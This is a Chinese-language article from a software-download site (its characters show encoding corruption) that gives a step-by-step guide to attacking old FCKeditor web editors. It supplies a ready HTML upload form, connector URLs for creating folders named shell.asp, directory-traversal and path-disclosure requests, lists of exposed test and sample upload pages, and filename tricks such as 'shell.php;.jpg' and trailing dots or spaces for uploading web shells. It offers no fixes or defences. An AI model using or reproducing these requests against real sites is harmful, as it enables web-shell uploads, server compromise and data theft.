西西軟件園多重安全檢測(cè)下載網(wǎng)站、值得信賴的軟件下載站!
軟件
軟件
文章
搜索

首頁(yè)安全中心病毒漏洞 → FCKeditor編輯器漏洞全面解析

FCKeditor編輯器漏洞全面解析

前往專題相關(guān)軟件相關(guān)文章發(fā)表評(píng)論 來(lái)源:西西整理時(shí)間:2011/8/1 14:01:05字體大。A-A+

作者:西西點(diǎn)擊:211次評(píng)論:1次標(biāo)簽: FCKeditor

  • 類型:網(wǎng)頁(yè)編輯大。1.2M語(yǔ)言:中文 評(píng)分:6.6
  • 標(biāo)簽:
立即下載
 第一步:查看編輯器版本
FCKeditor/_whatsnew.html
—————————————————————————————

第二步. Version 2.2 版本
Apache+linux 環(huán)境下在上傳文件后面加個(gè).突破!測(cè)試通過(guò)。
—————————————————————————————

第三步.Version <=2.4.2 For php 在處理PHP 上傳的地方并未對(duì)Media 類型進(jìn)行上傳文件類型的控制,導(dǎo)致用戶上傳任意文件!將以下保存為html文件,修改action地址。
<form id=”frmUpload” enctype=”multipart/form-data”
action=”http://www.sitedir.com.cn/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media” method=”post”>Upload a new file:<br>
<input type=”file” name=”NewFile” size=”50″><br>
<input id=”btnUpload” type=”submit” value=”Upload”>
</form>
—————————————————————————————

第四步.FCKeditor 文件上傳“.”變“_”下劃線的繞過(guò)方法
很多時(shí)候上傳的文件例如:shell.php.rar 或shell.php;.jpg 會(huì)變?yōu)閟hell_php;.jpg 這是新版FCK 的變化。
4.1:提交shell.php+空格繞過(guò)
不過(guò)空格只支持win 系統(tǒng) *nix 是不支持的[shell.php 和shell.php+空格是2 個(gè)不同的文件 未測(cè)試。
4.2:繼續(xù)上傳同名文件可變?yōu)閟hell.php;(1).jpg 也可以新建一個(gè)文件夾,只檢測(cè)了第一級(jí)的目錄,如果跳到二級(jí)目錄就不受限制。
—————————————————————————————

第五步. 突破建立文件夾
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
—————————————————————————————

第六步. FCKeditor 中test 文件的上傳地址
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
—————————————————————————————

第七步.常用上傳地址
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.sitedir.com.cn%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 測(cè)試通過(guò))
JSP 版:
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
注意紅色部分修改為FCKeditor 實(shí)際使用的腳本語(yǔ)言,藍(lán)色部分可以自定義文
件夾名稱也可以利用../..目錄遍歷,紫色部分為實(shí)際網(wǎng)站地址。
—————————————————————————————

第八步.其他上傳地址
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
一般很多站點(diǎn)都已刪除_samples 目錄,可以試試。
FCKeditor/editor/fckeditor.html 不可以上傳文件,可以點(diǎn)擊上傳圖片按鈕再選擇瀏覽服務(wù)器即可跳轉(zhuǎn)至可上傳文件頁(yè)。
—————————————————————————————

第九步.列目錄漏洞也可助找上傳地址
Version 2.4.1 測(cè)試通過(guò)
修改CurrentFolder 參數(shù)使用 ../../來(lái)進(jìn)入不同的目錄
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
根據(jù)返回的XML 信息可以查看網(wǎng)站所有的目錄。
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
也可以直接瀏覽盤(pán)符:
JSP 版本:
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
—————————————————————————————

第十步.爆路徑漏洞
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
————————————————————————————

第十一步. FCKeditor 被動(dòng)限制策略所導(dǎo)致的過(guò)濾不嚴(yán)問(wèn)題
影響版本: FCKeditor x.x <= FCKeditor v2.4.3
脆弱描述:
FCKeditor v2.4.3 中File 類別默認(rèn)拒絕上傳類型:
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
Fckeditor 2.0 <= 2.2 允許上傳asa、cer、php2、php4、inc、pwml、pht 后綴的文件上傳后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而沒(méi)有使用$sExtension 為后綴.直接導(dǎo)致在win 下在上傳文件后面加個(gè).來(lái)突破[未測(cè)試]!
而在apache 下,因?yàn)椤盇pache 文件名解析缺陷漏洞”也可以利用之,另建議其他上傳漏洞中定義TYPE 變量時(shí)使用File 類別來(lái)上傳文件,根據(jù)FCKeditor 的代碼,其限制最為狹隘。
在上傳時(shí)遇見(jiàn)可直接上傳腳本文件固然很好,但有些版本可能無(wú)法直接上傳可以利用在文件名后面加.點(diǎn)或空格繞過(guò),也可以利用2003 解析漏洞建立xxx.asp文件夾或者上傳xx.asp;.jpg!
—————————————————————————————

第十二步.最古老的漏洞,Type文件沒(méi)有限制!
我接觸到的第一個(gè)fckeditor漏洞了。版本不詳,應(yīng)該很古老了,因?yàn)槌绦驅(qū)ype=xxx 的類型沒(méi)有檢查。我們可以直接構(gòu)造上傳把type=Image 改成Type=hsren 這樣就可以建立一個(gè)叫hsren的文件夾,一個(gè)新類型,沒(méi)有任何限制,可以上傳任意腳本!

    相關(guān)評(píng)論

    閱讀本文后您有什么感想? 已有人給出評(píng)價(jià)!

    • 8 喜歡喜歡
    • 3 頂
    • 1 難過(guò)難過(guò)
    • 5 囧
    • 3 圍觀圍觀
    • 2 無(wú)聊無(wú)聊

    熱門評(píng)論

    最新評(píng)論

    發(fā)表評(píng)論 查看所有評(píng)論(1)

    昵稱:
    表情: 高興 可 汗 我不要 害羞 好 下下下 送花 屎 親親
    字?jǐn)?shù): 0/500 (您的評(píng)論需要經(jīng)過(guò)審核才能顯示)